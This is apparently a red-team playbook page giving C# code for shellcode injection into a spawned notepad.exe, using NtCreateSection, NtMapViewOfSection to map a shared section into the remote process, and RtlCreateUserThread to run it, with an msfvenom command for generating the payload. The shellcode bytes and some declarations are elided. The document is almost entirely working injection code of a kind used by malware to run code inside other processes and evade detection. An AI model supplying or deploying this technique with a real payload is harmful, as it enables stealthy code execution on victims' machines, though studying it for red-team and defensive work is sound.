NtMapViewOfSection
Last updated
namespace MappingInjection
{
class Program
{
static void Main(string[] args)
{
// msfvenom -p windows/x64/messagebox text="stage0 shellcode" title="choi redteam playbook" -f csharp
byte[] buf = new byte[306] {
< ... > };
var process = Process.Start(@"C:\windows\system32\notepad.exe");
var pid = process.Id;
uint bufLength = (uint)buf.Length;
uint SEC_COMMIT = 0x8000000;
uint SECTION_ALL_ACCESS = (0x0002 | 0x0004 | 0x0008);
IntPtr hSection = IntPtr.Zero;
IntPtr pLocalView = IntPtr.Zero;
IntPtr pRemoteView = IntPtr.Zero;
IntPtr cid = IntPtr.Zero;
// 1. Create section in current process
UInt32 rCreateSection = NtCreateSection(
ref hSection,
SECTION_ALL_ACCESS,
IntPtr.Zero,
ref bufLength,
(uint)MemoryProtection.ExecuteReadWrite,
SEC_COMMIT,
IntPtr.Zero
);
// 2. Create view to access the section created above.
uint rMVOS = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
ref pLocalView,
IntPtr.Zero,
IntPtr.Zero,
out ulong sectionOffset,
out bufLength,
2, // ViewUnmap = 2
0,
(uint)MemoryProtection.ReadWrite
);
// 3. Copy shellcode to the local view
Marshal.Copy(buf, 0, pLocalView, buf.Length);
// Notepad's Process Handle
IntPtr hProc = OpenProcess((uint)ProcessAccessFlags.All, false, pid);
// 4. Create view to remote process.
uint rNMVOS = NtMapViewOfSection(
hSection,
hProc,
ref pRemoteView,
IntPtr.Zero,
IntPtr.Zero,
out ulong rSectionOffset,
out bufLength,
2,
0,
(uint)MemoryProtection.ExecuteRead
);
// 5. Start thread on the remote view to trigger the shellcode
IntPtr hThread = IntPtr.Zero;
IntPtr pThread = RtlCreateUserThread(hProc, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, pRemoteView, IntPtr.Zero, ref hThread, IntPtr.Zero);
Console.WriteLine("[+] Local View address in MappingInejction.exe = 0x{0}", pLocalView.ToInt64().ToString("x2"));
Console.WriteLine("[+] Remote View address in Notepad.exe = 0x{0}", pRemoteView.ToInt64().ToString("x2"));
}
// PInvoke things...
< ... >NtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress OPTIONAL,
IN ULONG ZeroBits OPTIONAL,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN InheritDisposition,
IN ULONG AllocationType OPTIONAL,
IN ULONG Protect
);